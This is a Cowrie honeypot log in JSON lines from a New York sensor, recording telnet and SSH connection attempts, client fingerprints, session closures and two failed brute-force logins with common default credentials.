{"eventid":"cowrie.session.closed","duration":30.781182050704956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:30.055000Z","src_ip":"94.23.76.26","session":"2fbb6f4d5839","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35858,"dst_ip":"159.203.135.109","dst_port":23,"session":"e04940583e5f","protocol":"telnet","message":"New connection: 94.23.76.26:35858 (159.203.135.109:23) [session: e04940583e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:30.289532Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":38060,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4ce0b2cf8ed","protocol":"telnet","message":"New connection: 46.4.8.162:38060 (159.203.135.109:23) [session: d4ce0b2cf8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:30.747917Z"}
{"eventid":"cowrie.session.closed","duration":32.038533449172974,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:31.133653Z","src_ip":"46.4.8.162","session":"c82c68a238ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52278,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bfc6c6944ac","protocol":"ssh","message":"New connection: 159.203.92.129:52278 (159.203.135.109:22) [session: 6bfc6c6944ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:31.399973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:31.405488Z","src_ip":"159.203.92.129","session":"6bfc6c6944ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:31.410763Z","src_ip":"159.203.92.129","session":"6bfc6c6944ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password123","message":"login attempt [admin/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:31.424406Z","src_ip":"159.203.92.129","session":"6bfc6c6944ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35864,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bab3ac36b82","protocol":"telnet","message":"New connection: 94.23.76.26:35864 (159.203.135.109:23) [session: 5bab3ac36b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:32.124296Z"}
{"eventid":"cowrie.session.closed","duration":32.33068037033081,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:32.174654Z","src_ip":"46.4.8.162","session":"866d1885853a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:32.430157Z","src_ip":"159.203.92.129","session":"6bfc6c6944ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":50384,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c62f00ff862","protocol":"telnet","message":"New connection: 188.166.220.49:50384 (159.203.135.109:23) [session: 2c62f00ff862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:32.576010Z"}
{"eventid":"cowrie.session.closed","duration":31.307918071746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:32.821575Z","src_ip":"46.4.8.162","session":"c316bcc4933c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868339776992798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:33.082690Z","src_ip":"94.23.76.26","session":"913fabccd3ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902283906936646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:33.204573Z","src_ip":"35.187.38.22","session":"47a4e9f2cf91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35876,"dst_ip":"159.203.135.109","dst_port":23,"session":"20c11612142b","protocol":"telnet","message":"New connection: 94.23.76.26:35876 (159.203.135.109:23) [session: 20c11612142b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:34.221937Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":33476,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b80878c217","protocol":"telnet","message":"New connection: 35.187.38.22:33476 (159.203.135.109:23) [session: a8b80878c217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:34.425957Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":39562,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf18e8fdd9b","protocol":"telnet","message":"New connection: 75.119.159.60:39562 (10.17.0.5:23) [session: fcf18e8fdd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:34.433529Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35880,"dst_ip":"159.203.135.109","dst_port":23,"session":"208f541b4e02","protocol":"telnet","message":"New connection: 94.23.76.26:35880 (159.203.135.109:23) [session: 208f541b4e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:34.795244Z"}
{"eventid":"cowrie.session.closed","duration":30.78546404838562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.043416Z","src_ip":"94.23.76.26","session":"8e62c08b8956","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860827922821045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.057517Z","src_ip":"94.23.76.26","session":"e258f6fc50f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":39812,"dst_ip":"159.203.135.109","dst_port":23,"session":"58ee41e0d81b","protocol":"telnet","message":"New connection: 46.4.8.162:39812 (159.203.135.109:23) [session: 58ee41e0d81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.206944Z"}
{"eventid":"cowrie.session.closed","duration":30.823763370513916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.222861Z","src_ip":"35.187.38.22","session":"16124e984580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7524197101593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.227599Z","src_ip":"35.187.38.22","session":"2d63b42b92d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843817472457886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.235063Z","src_ip":"35.187.38.22","session":"47087d801e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939223289489746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.259726Z","src_ip":"35.187.38.22","session":"838567eec288","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856680154800415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:35.278358Z","src_ip":"35.187.38.22","session":"b747d52dfb95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784190893173218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:36.063310Z","src_ip":"94.23.76.26","session":"fed798f50ba8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.719658851623535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:36.103171Z","src_ip":"217.156.123.93","session":"e11e63295664","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972331285476685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:36.194597Z","src_ip":"94.23.76.26","session":"f3da257f362e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56754,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc824fdc396b","protocol":"telnet","message":"New connection: 94.23.76.26:56754 (159.203.135.109:23) [session: cc824fdc396b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:36.218323Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":36056,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea166733ab4","protocol":"telnet","message":"New connection: 35.187.38.22:36056 (159.203.135.109:23) [session: bea166733ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:36.319916Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56758,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ce67c2fab8","protocol":"telnet","message":"New connection: 94.23.76.26:56758 (159.203.135.109:23) [session: a0ce67c2fab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:36.478559Z"}
{"eventid":"cowrie.session.closed","duration":30.605573177337646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:37.104855Z","src_ip":"75.119.159.60","session":"ec9d4264bab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05980086326599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:37.346337Z","src_ip":"35.187.38.22","session":"d40aeed7af30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175423622131348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:37.397609Z","src_ip":"94.23.76.26","session":"99b1ca91f0a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6040256023407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:38.060912Z","src_ip":"94.23.76.26","session":"f16c750f1119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56770,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d42516845db","protocol":"telnet","message":"New connection: 94.23.76.26:56770 (159.203.135.109:23) [session: 3d42516845db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:38.717207Z"}
{"eventid":"cowrie.session.closed","duration":33.74507474899292,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:38.754139Z","src_ip":"46.4.8.162","session":"b8803ca95e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9985d64af62","protocol":"telnet","message":"New connection: 94.23.76.26:56778 (159.203.135.109:23) [session: d9985d64af62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:39.217814Z"}
{"eventid":"cowrie.session.closed","duration":30.91570258140564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:39.286024Z","src_ip":"35.187.38.22","session":"a1b5f432c2ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":41484,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfcd1064258a","protocol":"ssh","message":"New connection: 212.154.234.9:41484 (10.17.0.5:22) [session: cfcd1064258a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:39.805411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:39.810491Z","src_ip":"212.154.234.9","session":"cfcd1064258a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:39.991322Z","src_ip":"212.154.234.9","session":"cfcd1064258a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1d34b1f622","protocol":"telnet","message":"New connection: 94.23.76.26:56794 (159.203.135.109:23) [session: bd1d34b1f622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:40.223598Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8d81eac241","protocol":"telnet","message":"New connection: 75.119.159.60:44896 (10.17.0.5:23) [session: 8c8d81eac241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:40.371124Z"}
{"eventid":"cowrie.login.failed","username":"user13","password":"123456","message":"login attempt [user13/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:40.745584Z","src_ip":"212.154.234.9","session":"cfcd1064258a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56806,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cab306fedfb","protocol":"telnet","message":"New connection: 94.23.76.26:56806 (159.203.135.109:23) [session: 3cab306fedfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:40.825336Z"}
{"eventid":"cowrie.session.closed","duration":30.6912739276886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:41.046939Z","src_ip":"94.23.76.26","session":"29f8b69a9bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56810,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c44a46b79e","protocol":"telnet","message":"New connection: 94.23.76.26:56810 (159.203.135.109:23) [session: 99c44a46b79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:41.198318Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56818,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb50d7781c2","protocol":"telnet","message":"New connection: 94.23.76.26:56818 (159.203.135.109:23) [session: 5fb50d7781c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:41.225070Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":45676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9a62ee6fa0","protocol":"telnet","message":"New connection: 75.119.159.60:45676 (10.17.0.5:23) [session: 5a9a62ee6fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:41.339742Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:41.952578Z","src_ip":"212.154.234.9","session":"cfcd1064258a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.779625415802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:42.158645Z","src_ip":"75.119.159.60","session":"581c2906e0fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56834,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7c0db97b80","protocol":"telnet","message":"New connection: 94.23.76.26:56834 (159.203.135.109:23) [session: 7d7c0db97b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:42.249941Z"}
{"eventid":"cowrie.session.closed","duration":30.74565362930298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:43.078344Z","src_ip":"94.23.76.26","session":"37394bf1e094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866416215896606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:43.089757Z","src_ip":"94.23.76.26","session":"787cf24cc294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839611768722534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:44.048569Z","src_ip":"94.23.76.26","session":"a124792753de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874189615249634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:44.156618Z","src_ip":"94.23.76.26","session":"9d6c7a76923b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":48212,"dst_ip":"10.17.0.5","dst_port":23,"session":"84aa2b9e0302","protocol":"telnet","message":"New connection: 75.119.159.60:48212 (10.17.0.5:23) [session: 84aa2b9e0302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:44.287633Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56846,"dst_ip":"159.203.135.109","dst_port":23,"session":"3471ecf9902b","protocol":"telnet","message":"New connection: 94.23.76.26:56846 (159.203.135.109:23) [session: 3471ecf9902b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:44.326591Z"}
{"eventid":"cowrie.session.closed","duration":30.604764461517334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:44.414616Z","src_ip":"94.23.76.26","session":"5616569b519b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.71.14","src_port":19921,"dst_ip":"159.203.135.109","dst_port":23,"session":"a34d570328fa","protocol":"telnet","message":"New connection: 84.54.71.14:19921 (159.203.135.109:23) [session: a34d570328fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:44.835552Z"}
{"eventid":"cowrie.session.closed","duration":30.876857042312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:45.083248Z","src_ip":"94.23.76.26","session":"9939674b35c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56860,"dst_ip":"159.203.135.109","dst_port":23,"session":"29ac7982284d","protocol":"telnet","message":"New connection: 94.23.76.26:56860 (159.203.135.109:23) [session: 29ac7982284d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:45.206891Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":56872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1080a8ae74f","protocol":"telnet","message":"New connection: 94.23.76.26:56872 (159.203.135.109:23) [session: f1080a8ae74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:45.228621Z"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":49300,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a37b5342f2","protocol":"telnet","message":"New connection: 75.119.159.60:49300 (10.17.0.5:23) [session: 88a37b5342f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:45.572626Z"}
{"eventid":"cowrie.session.closed","duration":31.1059308052063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:46.073702Z","src_ip":"94.23.76.26","session":"9e092770f29a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722580194473267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:47.079666Z","src_ip":"94.23.76.26","session":"4a85264a9885","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25561499595642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:47.084970Z","src_ip":"94.23.76.26","session":"572fa561120b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58258,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8f1fb34aa2","protocol":"telnet","message":"New connection: 94.23.76.26:58258 (159.203.135.109:23) [session: 4d8f1fb34aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:47.335015Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":58270,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef1d74f9486","protocol":"telnet","message":"New connection: 94.23.76.26:58270 (159.203.135.109:23) [session: aef1d74f9486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:21:47.385990Z"}
